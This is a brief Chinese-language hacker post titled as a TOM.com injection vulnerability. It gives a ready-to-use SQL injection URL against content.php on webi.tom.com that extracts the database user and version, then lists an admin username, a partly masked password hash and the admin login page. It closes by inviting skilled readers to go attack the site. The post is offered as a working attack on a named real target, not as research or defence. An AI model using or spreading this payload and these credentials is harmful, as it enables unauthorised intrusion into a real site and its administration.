title:TOM.com注入漏洞
漏洞:php sql injection
漏洞文件:content.php
http://webi.tom.com/content.php?id=6 and 1=2 union select 1,user(),3,4,version(),6,7,8,9,10,11,12,13,14/*
账号:edit 密码: c794726a3d32ecd542b8c06f584f90XX
后台:http://webi.tom.com/admin_login.php
神人去搞吧~~~